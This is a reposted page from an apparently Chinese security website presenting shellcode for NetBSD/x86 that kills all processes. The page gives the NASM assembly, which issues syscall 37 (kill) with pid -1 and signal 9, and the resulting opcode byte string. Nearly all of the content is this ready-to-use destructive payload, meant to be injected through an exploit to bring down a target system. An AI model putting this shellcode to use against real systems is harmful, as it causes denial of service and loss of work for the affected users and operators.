首页 网络安全 安全学院 查看内容

杀掉进程的 shellcode(netbsd/x86 )

2009-6-19 10:12 625 0

摘要:   /*  netbsd/x86 kill all processes shellcode  author Teo Manojlovic  contact [email protected]...
关键词: nbsp eax shellcode section netbsd Manojlovic xff int push 66

  /*  netbsd/x86 kill all processes shellcode  author Teo Manojlovic  contact [email protected]  this shellcode is using syscall number 37 or 0x25  37      STD             { int sys_kill(int pid, int signum); }  here is assembler code using intel syntaxe and NASM  --------------begin-----------  section .note.netbsd.ident  dd0x07,0x04,0x01  db"NetBSD",0x00,0x00  dd200000000  section .data  section .text  global _start  _start:  xor eax, eax  push 0x09  mov eax, -1  push eax  xor eax,eax  mov al, 37  push eax  int 0x80  -------------------------end------------  if we dissasemble this code wi will get shellcode  "\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"  */
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部